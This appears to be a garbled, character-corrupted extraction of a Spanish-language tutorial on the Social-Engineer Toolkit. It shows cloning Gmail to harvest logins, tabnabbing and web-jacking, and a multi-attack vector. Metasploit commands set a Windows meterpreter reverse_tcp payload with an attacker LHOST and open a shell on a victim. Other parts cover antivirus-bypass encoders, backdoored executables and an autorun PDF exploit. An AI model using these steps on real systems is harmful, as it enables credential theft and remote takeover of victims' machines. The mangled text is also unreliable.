.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M .
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
2"e best way to use t"s attac# s f username and password form
felds are a5alable. ?e4ardlessR t"s captures all P9=2s on a webste.
PZQ B "a5e read t"e abo5e messa4e. PZQ
Press OreturnV to contnue.
PZQ 2abnabbn4 Dttac# 8ector s 3nabled...8ctm needs to swtc" tabs.
PZQ =ocal13n4neer 2ool#t Credental >ar5ester Dttac#
PZQ Credental >ar5ester s runnn4 on port 0'
PZQ Bnformaton wll be dsplayed to you as t arr5es belowM
7a vctima se presenta con una pina 2eb que dice que por favor espere mientras se cara la pina.
$uando la vctima cambia las fichas, la pina 2eb se vuelve a escribir. 7a vctima espera volver a
entrar en su informacin de acceso y las credenciales son harvester.
PZQ E3 ;92 D >B2! Prntn4 t"e outputM
PD?DMM ltmpl=default
PD?DMM ltmplcac"e=-
PD?DMM contnue="ttpsM**mal.4oo4le.com*mal*W
PD?DMM ser5ce=mal
PD?DMM rm=false
PD?DMM ds"=1)'('0,)'0/--)0,('%'
PD?DMM ltmpl=default
PD?DMM ltmpl=default
PD?DMM scc=,
PD?DMM ss=,
PD?DMM tme=tmp=
PD?DMM sec2o#=
PD?DMM ;DCK=''1()312t/4
P9==B$C3 <=3?LDM3 6B3C7 69<L7M 3mal=sfdsfsd
P9==B$C3 PD==E9?7 6B3C7 69<L7M Passwd=afds
PD?DMM rm="own=,
PD?DMM s4nBn==4nUn
PD?DMM asts=
PZQ E>3L J9<? 6BLB=>37. >B2 C9L2?9C1C 29 ;3L3?D23 D ?3P9?2
Man /eft in the Middle Attack Method
"ombre de izquierda en el m!todo de ataque &edio
El hombre se fue en medio del ataque utiliza referer "TT/ en un sitio ya est comprometido o la
vulnerabilidad NSS para pasar las credenciales al servidor "TT/. En este caso, si usted encuentra una
vulnerabilidad NSS y enviar la 567 a la vctima y haa clic en !l, el sitio 2eb funcionar el OGG por
ciento sin embaro, cuando van a entrar en el sistema, va a pasar las credenciales al atacante y
harvester credenciales.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M /
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Eeb =er5er Caunc"ed. Eelcome to t"e =32 MC2M.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Man Ceft n t"e Mddle Dttac# brou4"t to you byM
Xyle 9sborn 1 #yleG#yleosborn.com
=tartn4 ser5er on '.'.'.'M0'...
PZQ =er5er "as started
(eb +ac3in 'ttac3 ðod
El metodo de ataque %ac3in va a crear un clon sitio 2eb y el presente de la vctima con un enlace que
indica que el sitio 2eb se ha movido. Esta es una nueva caracterstica para confiurar la versin G.F.
$uando se pasa sobre el enlace, la 567 se le presenta la 567 real, no la mquina de los atacantes. 's,
por e%emplo si ests mail.com clonacin, la direccin 567 cuando se cerna sobre mostrara
mail.com. $uando el usuario hace clic en el enlace se movi, mail se abre y lueo se reemplaza
rpidamente con su servidor 2eb malicioso. 6ecuerde, usted puede cambiar el momento del ataque
2eb%ac3in en las banderas confi > set@confi.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M (
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
2"e best way to use t"s attac# s f username and password form
felds are a5alable. ?e4ardlessR t"s captures all P9=2s on a webste.
PZQ B "a5e read t"e abo5e messa4e. PZQ
Press OreturnV to contnue.
PZQ Eeb bac#n4 Dttac# 8ector s 3nabled...8ctm needs to clc# t"e ln#.
PZQ =ocal13n4neer 2ool#t Credental >ar5ester Dttac#
PZQ Credental >ar5ester s runnn4 on port 0'
PZQ Bnformaton wll be dsplayed to you as t arr5es belowM
$uando la vctima va al sitio que !l > ella se dar cuenta de el enlace de aba%o, observe el 567 aba%o a
la izquierda, su mail.com.
$uando la vctima hace clic en el enlace que se presenta con la siuiente pina 2eb=
Si nos fi%amos en la barra de direcciones, nos encontramos en nuestro servidor 2eb malicioso. En los
casos de ineniera social, que desea hacerlo creble por lo que usar una direccin 4/ es eneralmente
una mala idea. &i recomendacin es que si usted est haciendo una prueba de penetracin, reistrar un
nombre que es similar a la vctima para mail para que usted podra hacer maiO.com Kntese la OM,
alo similar que puede confundir al usuario haci!ndole creer que es el sitio letimo . 7a mayora de las
veces ni siquiera se dar cuenta de la direccin 4/, pero es slo otra manera de aseurarse de que siue
sin problemas. 'hora que la vctima entra en el nombre de usuario y contrase0a en los campos, te dars
cuenta de que podemos interceptar las credenciales.
PZQ Eeb bac#n4 Dttac# 8ector s 3nabled...8ctm needs to clc# t"e ln#.
PZQ =ocal13n4neer 2ool#t Credental >ar5ester Dttac#
PZQ Credental >ar5ester s runnn4 on port 0'
PZQ Bnformaton wll be dsplayed to you as t arr5es belowM
,%-.,(.&-.,&, 1 1 P')*=ep*-',' ,-M,/M,&Q :;32 * >22P*,.,: -'' 1
,%-.,(.&-.,&, 1 1 P')*=ep*-',' ,-M,/M/(Q :;32 *nde!-."tml >22P*,.,: -'' 1
PZQ E3 ;92 D >B2! Prntn4 t"e outputM
PD?DMM ltmpl=default
PD?DMM ltmplcac"e=-
PD?DMM contnue="ttpsM**mal.4oo4le.com*mal*W
PD?DMM ser5ce=mal
PD?DMM rm=false
PD?DMM ds"=1%',%.-0,/()'%.-&('/
PD?DMM ltmpl=default
PD?DMM ltmpl=default
PD?DMM scc=,
PD?DMM ss=,
PD?DMM tme=tmp=
PD?DMM sec2o#=
PD?DMM ;DCK='bs82aj%'s#
P9==B$C3 <=3?LDM3 6B3C7 69<L7M 3mal=t"ssmyusername
P9==B$C3 PD==E9?7 6B3C7 69<L7M Passwd=t"ssmypassword
PD?DMM rm="own=,
PD?DMM s4nBn==4nUn
PD?DMM asts=
PZQ E>3L J9<? 6BLB=>37. >B2 C9L2?9C1C 29 ;3L3?D23 D ?3P9?2
&ulti?'ttac3 (eb :ector
El vector 2eb multi?ataque es nuevo en G.F y le permitir especificar mDltiples m!todos de ataque
metodo de ataque %ac3in con el fin de realizar un solo ataque. En alunos casos, el applet de +ava
puede fallar sin embaro un exploit de 4nternet Explorer sera un !xito. , tal vez el applet de +ava y el
explorador de 4nternet no explotar y la credencial de cosechadora tiene !xito. El vector de ataque multi?
le permite activar y desactivar diferentes vectores y combinar los ataques de todo en una pina 2eb
especfica. 's que cuando el usuario hace clic en el enlace que va a ser el blanco de cada uno de los
vectores de ataque que usted especifique. 5na cosa a notar con el vector de ataque es que no se puede
utilizar Tabnabbin, $red "arvester, o en la 2eb con el apoyo del ato el hombre se fue en medio del
ataque. Sobre la base de los vectores de ataque que no se debe combinar todos modos. Echemos un
vistazo a los mDltiples vectores de ataque. En este escenario vamos a encender el ataque de un applet
de +ava, explotar &etasploit del lado del cliente, y el ataque (eb hinca. $uando la vctima navea por
el sitio, !l > ella tendr que hacer clic en el enlace y ser bombardeado con credencial de la
cosechadora, explota &etasploit, y el ataque applet de +ava. :amos a seleccionar intencionalmente un
4nternet Explorer F explotar y explorar la pina utilizando 4EP slo para demostrar que si uno falla
t!cnica, tenemos otros m!todos.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M %
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
Mult1Dttac# Eeb Dttac# 8ector
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
2"e mult attac# 5ector utl+es eac" combnaton of attac#s
and allow t"e user to c"oose t"e met"od for t"e attac#. 9nce
you select one of t"e attac#sR t wll be added to your
attac# profle to be used to sta4e t"e attac# 5ector. E"en
your fns"ed be sure to select t"e ABm fns"edA opton.
=elect w"c" attac#s you want to useM
,. 2"e ba5a Dpplet Dttac# Met"od (966)
-. 2"e Metasplot $rowser 3!plot Met"od (966)
&. Credental >ar5ester Dttac# Met"od (966)
.. 2abnabbn4 Dttac# Met"od (966)
/. Man Ceft n t"e Mddle Dttac# Met"od (966)
(. Eeb bac#n4 Dttac# Met"od (966)
%. <se t"em all 1 D.X.D. A2actcal Lu#eA
0. BAm fns"ed and want proceed wt" t"e attac#.
). ?eturn to man menu.
3nter your c"oce one at a tme ("t 0 or enter to launc")M ,
2urnn4 t"e ba5a Dpplet Dttac# 8ector to 9L
9pton added. Press OreturnV to add or prepare your ne!t attac#.
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
Mult1Dttac# Eeb Dttac# 8ector
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
2"e mult attac# 5ector utl+es eac" combnaton of attac#s
and allow t"e user to c"oose t"e met"od for t"e attac#. 9nce
you select one of t"e attac#sR t wll be added to your
attac# profle to be used to sta4e t"e attac# 5ector. E"en
your fns"ed be sure to select t"e ABm fns"edA opton.
=elect w"c" attac#s you want to useM
,. 2"e ba5a Dpplet Dttac# Met"od (9L)
-. 2"e Metasplot $rowser 3!plot Met"od (966)
&. Credental >ar5ester Dttac# Met"od (966)
.. 2abnabbn4 Dttac# Met"od (966)
/. Man Ceft n t"e Mddle Dttac# Met"od (966)
(. Eeb bac#n4 Dttac# Met"od (966)
%. <se t"em all 1 D.X.D. A2actcal Lu#eA
0. BAm fns"ed and want proceed wt" t"e attac#.
). ?eturn to man menu.
3nter your c"oce one at a tme ("t 0 or enter to launc")M -
2urnn4 t"e Metasplot Clent =de Dttac# 8ector to 9L
9pton added. Press OreturnV to add or prepare your ne!t attac#.
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
Mult1Dttac# Eeb Dttac# 8ector
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
2"e mult attac# 5ector utl+es eac" combnaton of attac#s
and allow t"e user to c"oose t"e met"od for t"e attac#. 9nce
you select one of t"e attac#sR t wll be added to your
attac# profle to be used to sta4e t"e attac# 5ector. E"en
your fns"ed be sure to select t"e ABm fns"edA opton.
=elect w"c" attac#s you want to useM
,. 2"e ba5a Dpplet Dttac# Met"od (9L)
-. 2"e Metasplot $rowser 3!plot Met"od (9L)
&. Credental >ar5ester Dttac# Met"od (966)
.. 2abnabbn4 Dttac# Met"od (966)
/. Man Ceft n t"e Mddle Dttac# Met"od (966)
(. Eeb bac#n4 Dttac# Met"od (966)
%. <se t"em all 1 D.X.D. A2actcal Lu#eA
0. BAm fns"ed and want proceed wt" t"e attac#.
). ?eturn to man menu.
3nter your c"oce one at a tme ("t 0 or enter to launc")M (
2urnn4 t"e Eeb bac#n4 Dttac# 8ector to 9L
9pton added. Press OreturnV to add or prepare your ne!t attac#.
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
Mult1Dttac# Eeb Dttac# 8ector
PZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZQ
2"e mult attac# 5ector utl+es eac" combnaton of attac#s
and allow t"e user to c"oose t"e met"od for t"e attac#. 9nce
you select one of t"e attac#sR t wll be added to your
attac# profle to be used to sta4e t"e attac# 5ector. E"en
your fns"ed be sure to select t"e ABm fns"edA opton.
=elect w"c" attac#s you want to useM
,. 2"e ba5a Dpplet Dttac# Met"od (9L)
-. 2"e Metasplot $rowser 3!plot Met"od (9L)
&. Credental >ar5ester Dttac# Met"od (9L)
.. 2abnabbn4 Dttac# Met"od (966)
/. Man Ceft n t"e Mddle Dttac# Met"od (966)
(. Eeb bac#n4 Dttac# Met"od (9L)
%. <se t"em all 1 D.X.D. A2actcal Lu#eA
0. BAm fns"ed and want proceed wt" t"e attac#.
). ?eturn to man menu.
3nter your c"oce one at a tme ("t 0 or enter to launc")M
/or el contrario, puede utilizar la Ctctica 9u3eC opcin que est a F opcin que permitir a todos los
vectores de ataque de forma automtica para usted. En este e%emplo, se puede ver el cambio de
banderas y el applet de +ava, Exploit &etasploit naveador, $redencial "arvester, y (eb +ac3in
m!todos de ataque han sido habilitadas. $on el fin de proceder pulsa enter o utilizar la opcin X.
Enter your choice one at a time (hit 8 or enter to launch):
E"at payload do you want to 4enerateM
LameM 7escrptonM
,. Endows ="ell ?e5erseI2CP =pawn a command s"ell on 5ctm and
send bac# to attac#er.
-. Endows ?e5erseI2CP Meterpreter =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erseI2CP 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows $nd ="ell 3!ecute payload and create an acceptn4
port on remote system.
/. Endows $nd ="ell K(. Endows !(. Command ="ellR $nd 2CP
Bnlne
(. Endows ="ell ?e5erseI2CP K(. Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
%. Endows Meterpreter ?e5erseI2CP K(. Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
0. Endows Meterpreter 34ress $uster =pawn a meterpreter s"ell and fnd a
port "ome 5a multple ports
). Bmport your own e!ecutable =pecfy a pat" for your own e!ecutable
3nter c"oce ("t enter for default)M
$elow s a lst of encodn4s to try and bypass D8.
=elect one of t"e belowR Abac#doored e!ecutableA s typcally t"e best.
,. a5odIutf0Itolower (Lormal)
-. s"#ataI4aIna (8ery ;ood)
&. alp"aIm!ed (Lormal)
.. alp"aIupper (Lormal)
/. call.IdwordI!or (Lormal)
(. countdown (Lormal)
%. fnsten5Imo5 (Lormal)
0. jmpIcallIaddt5e (Lormal)
). nonalp"a (Lormal)
,'. nonupper (Lormal)
,,. uncodeIm!ed (Lormal)
,-. uncodeIupper (Lormal)
,&. alp"a- (Lormal)
,.. Lo 3ncodn4 (Lone)
,/. Mult13ncoder (3!cellent)
,(. $ac#doored 3!ecutable ($3=2)
3nter your c"oce (enter for default)M
P1Q 3nter t"e P9?2 of t"e lstener (enter for default)M
P1Q $ac#doorn4 a le4t e!ecutable to bypass Dnt18rus. Eat a few seconds...
P1Q $ac#door completed successfully. Payload s now "dden wt"n a le4t
e!ecutable.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
7o you want to create a Cnu!*9=K re5erseItcp payload
n t"e ba5a Dpplet attac# as wellW
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
3nter c"oce yes or noM no
3nter t"e browser e!plot you would l#e to use
,. Bnternet 3!plorer C== 2a4s Memory Corrupton
-. =un ba5a ?untme Lew Plu4n docbase $uffer 95erflow
&. Mcrosoft Endows Eeb7D8 Dpplcaton 7CC >jac#er
.. Ddobe ="oc#wa5e rcsC Memory Corrupton 3!plot
/. Ddobe Cool2ype =BL; 2able :un@ueLame: =tac# $uffer 95erflow
(. Dpple Suc#2me %.(.% IMars"aledIp<n# Code 3!ecuton
%. Mcrosoft >elp Center K== and Command 3!ecuton (M=,'1'.-)
0. Mcrosoft Bnternet 3!plorer epeers.dll <se Dfter 6ree (M=,'1',0)
). Mcrosoft Bnternet 3!plorer 2abular 7ata Control 3!plot (M=,'1',0)
,'. Mcrosoft Bnternet 3!plorer :Durora: Memory Corrupton (M=,'1''-)
,,. Mcrosoft Bnternet 3!plorer % <nntal+ed Memory Corrupton (M=')1''-)
,-. Mcrosoft Bnternet 3!plorer =tyle 4et3lementsby2a4Lame Corrupton (M=')1'%-)
,&. Mcrosoft Bnternet 3!plorer sComponentBnstalled 95erflow
,.. Mcrosoft Bnternet 3!plorer 3!plorer 7ata $ndn4 Corrupton (M='01'%0)
,/. Mcrosoft Bnternet 3!plorer <nsafe =crptn4 Msconf4uraton
,(. 6re6o! &./ escape ?eturn 8alue Memory Corrupton
,%. Metasplot $rowser Dutopwn (<=3 D2 9EL ?B=X!)
3nter your c"oce (,1,-) (enter for default)M 0
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
PZQ Bnjectn4 ba5a Dpplet attac# nto t"e newly cloned webste.
PZQ 6lename obfuscaton complete. Payload name sM !/sXD+=
PZQ Malcous ja5a applet webste prepped for deployment
PZQ Bnjectn4 frames nto cloned webste for M=6 Dttac#....
PZQ Malcous frame njecton successful...craftn4 payload.
PZQ Caunc"n4 M=6 Cstener...
PZQ 2"s may ta#e a few to load M=6...
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
o 0 o o
0 0 0
ooJoJo. .oPJo. o0P .oPJo. .oPJo. .oPJo. 0 .oPJo. o0 o0P
0A 0 0 0oooo0 0 .oooo0 Jb.. 0 0 0 0 0 0 0
0 0 0 0. 0 0 0 AJb. 0 0 0 0 0 0 0
0 0 0 ^JoooA 0 ^JooP0 ^JooPA 0JooPA 0 ^JooPA 0 0
..M..M..M.....MMM..MM.....MM.....M0.....M..M.....MM..MM..M
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
=P metasplot 5&...-1de5 PcoreM&.. apM,.'Q
U 11 11=P /00 e!plots 1 &'' au!lary
U 11 11=P --. payloads 1 -% encoders 1 0 nops
=P s5n r,'-(0 updated today (-','.').'))
resource (src*pro4ramIjun#*metaIconf4)> use
wndows*browser*ms')I''-ImemoryIcorrupton
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7
wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 ,%-.,(.&-.,-)
C>9=2 => ,%-.,(.&-.,-)
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 ..&
CP9?2 => ..&
resource (src*pro4ramIjun#*metaIconf4)> set <?BPD2> *
<?BPD2> => *
resource (src*pro4ramIjun#*metaIconf4)> set =?8P9?2 0'0'
=?8P9?2 => 0'0'
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot(ms')I''-ImemoryIcorrupton) >
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*
PZQ Cocal BPM "ttpM**,%-.,(.&-.,-)M0'0'*
PZQ =er5er started.
'hora que tenemos todo funcionando, vamos a ir a la pina 2eb y ver lo que hay. En primer luar, se
salud con el sitio se ha movido ...
"acemos clic en el enlace y se olpe con un exploit &etasploit, mira el controlador en el servidor.
PZQ =endn4 Bnternet 3!plorer % C6unctonPonter <nntal+ed Memory Corrupton
to ,%-.,(.&-.,&,M,&-)...
msf e!plot(ms')I''-ImemoryIcorrupton) >
Este exploit no porque estamos usando 4nternet Explorer P, pero una vez que esta falla, echa un vistazo
a la pantalla de las vctimas=
7leamos a correr, y tenemos una shell meterpreter. En este caso nos redirie a la pina oriinal de
.oole porque el ataque fue un !xito. Tambi!n se dar cuenta que al utilizar el applet de +ava, de forma
automtica la miracin a un hilo separado KprocesoM y pasa a ser notepad.exe . 7a razn de esto es que
si la vctima se cierra el naveador, que estar a salvo y el proceso no terminar nuestra shell
meterpreter.
PZQ =endn4 sta4e (%.0/.. bytes) to ,%-.,(.&-.,&,
PZQ Meterpreter sesson , opened (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,&&&) at 2"u
=ep ') ,-M&&M-' 1'.'' -','
PZQ =esson B7 , (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,&&&) processn4
BntalDuto?un=crpt Am4rate 1fA
PZQ Current ser5er processM ja5a.e!e (0-.)
PZQ =pawnn4 a notepad.e!e "ost process...
PZQ M4ratn4 nto process B7 &'..
PZQ Lew ser5er processM notepad.e!e (&'..)
msf e!plot(ms')I''-ImemoryIcorrupton) >
)iamos que este ataque no cancelar el olpe y el usuario. ' continuacin se le pedir que introduzca
su > su nombre de usuario y contrase0a en el campo nombre de usuario > contrase0a.
PZQ E3 ;92 D >B2! Prntn4 t"e outputM
PD?DMM ltmpl=default
PD?DMM ltmplcac"e=-
PD?DMM contnue="ttpsM**mal.4oo4le.com*mal*Wu="tml
PD?DMM +y=l
PD?DMM ser5ce=mal
PD?DMM rm=false
PD?DMM ds"=10/%0-,(.0..%)'.)0&%
PD?DMM ltmpl=default
PD?DMM ltmpl=default
PD?DMM scc=,
PD?DMM ss=,
PD?DMM tme=tmp=
PD?DMM sec2o#=
PD?DMM ;DCK=fJSCIbK#b+<
P9==B$C3 <=3?LDM3 6B3C7 69<L7M 3mal=t"ssmyusername
P9==B$C3 PD==E9?7 6B3C7 69<L7M Passwd=t"ssmypassword
PD?DMM rm="own=,
PD?DMM s4nBn==4nUn
PD?DMM asts=
PZQ E>3L J9<? 6BLB=>37. >B2 C9L2?9C1C 29 ;3L3?D23 D ?3P9?2
4nfectious &edia .enerator
/asando a los vectores de ataque fsico y un m!todo de ataque completamente diferente, que va a
utilizar las infecciosas 5S; > ):) > $) vector de ataque. Este vector de ataque le permitir importar
sus propios e%ecutables maliciosos o uno de esos en &etasploit para crear un 5S; ):) > $) > que
incorpora un archivo autorun.inf. 5na vez que este dispositivo se inserta se llama autorun y e%ecutar el
archivo e%ecutable. 9uevo en la versin ms reciente, puede utilizar el formato de archivo de exploits,
as, si te preocupa que un exectuable dar luar a las alertas, se puede especificar un formato de archivo
que explotan dar luar a un desbordamiento y el compromiso del sistema Kpor e%emplo, un 'dobe
exploitM.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM &
2"e Bnfectous <=$*C7*787 met"od wll create an autorun.nf fle and a Metasplot
payload. E"en t"e 787*<=$*C7 s nsertedR t wll automatcally run f autorun
s enabled.
Pc# w"at type of attac# 5ector you want to useR fleformat bu4s or a stra4"t
e!ecutable.
,. 6le16ormat 3!plots
-. =tandard Metasplot 3!ecutable
3nter your numerc c"oce (return for default)M ,
3nter t"e BP address for t"e re5erse connecton (payload)M ,%-.,(.&-.,-)
=elect t"e fle format e!plot you want.
2"e default s t"e P76 embedded 3K3.
ZZZZZZZZZZ PDJC9D7= ZZZZZZZZZZ
,. =32 Custom Ertten 7CC >jac#n4 Dttac# 8ector (?D?R YBP)
-. Ddobe 6las" Player A$uttonA ?emote Code 3!ecuton
&. Ddobe Cool2ype =BL; 2able Aun@ueLameA 95erflow
.. Ddobe 6las" Player AnewfunctonA Bn5ald Ponter <se
/. Ddobe Collab.collect3malBnfo $uffer 95erflow
(. Ddobe Collab.4etBcon $uffer 95erflow
%. Ddobe b$B;-7ecode Memory Corrupton 3!plot
0. Ddobe P76 3mbedded 3K3 =ocal 3n4neern4
). Ddobe utl.prntf() $uffer 95erflow
,'. Custom 3K3 to 8$D (sent 5a ?D?) (?D? re@ured)
,,. Ddobe <&7 CC97Pro4ress5eMes"7eclaraton Drray 95errun
,-. Ddobe P76 3mbedded 3K3 =ocal 3n4neern4 (L9b=)
3nter t"e number you want (press enter for default)M ,
,. Endows ?e5erse 2CP ="ell =pawn a command s"ell on 5ctm and send
bac# to attac#er.
-. Endows Meterpreter ?e5erseI2CP =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erse 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows ?e5erse 2CP ="ell (!(.) Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
/. Endows Meterpreter ?e5erseI2CP (K(.) Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
(. Endows ="ell $ndI2CP (K(.) 3!ecute payload and create an acceptn4
port on remote system.
%. Endows Meterpreter ?e5erse >22P= 2unnel communcaton o5er >22P usn4 ==C
and use Meterpreter
3nter t"e payload you want (press enter for default)M
PZQ Endows Meterpreter ?e5erse 2CP selected.
3nter t"e port to connect bac# on (press enter for default)M
PZQ 7efaultn4 to port ..&...
PZQ ;eneratn4 fleformat e!plot...
PZQ Please wat w"le we load t"e module tree...
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ Creatn4 Atemplate.pdfA fle...
PZQ ;enerated output fle *pentest*e!plots*set*src*pro4ramIjun#*template.pdf
PZQ Payload creaton complete.
PZQ Dll payloads 4et sent to t"e src*pro4ramIjun#*template.pdf drectory
PZQ Payload 4eneraton complete. Press enter to contnue.
PZQ Jour attac# "as been created n t"e =32 "ome drectory folder :autorun:
PZQ Copy t"e contents of t"e folder to a C7*787*<=$ to autorun.
7o you want to create a lstener r4"t now yes or noM yes
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
I I
I [ [ (I)I
IIII IIII[ [I IIII III IIII [ [ III I[ [I
[ \ * I ) I)* I [*III) I \[ [* I \[ [ I)
[ [ [ ( (* *[ [I( ( [ [III [ [ [ [ [ [I[ [ [ [II
[I[I[I[\IIII)\III)I[[I(III*[ [[I*[I[\III*[I[\III)
[I[
resource (*pentest*e!plots*set*src*pro4ramIjun#*metaIconf4)> use mult*"andler
resource (*pentest*e!plots*set*src*pro4ramIjun#*metaIconf4)> set payload
wndows*meterpreter*re5erseItcp
payload => wndows*meterpreter*re5erseItcp
resource (*pentest*e!plots*set*src*pro4ramIjun#*metaIconf4)> set l"ost
,%-.,(.&-.,-)
l"ost => ,%-.,(.&-.,-)
resource (*pentest*e!plots*set*src*pro4ramIjun#*metaIconf4)> set lport ..&
lport => ..&
resource (*pentest*e!plots*set*src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot("andler) >
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ =tartn4 t"e payload "andler...
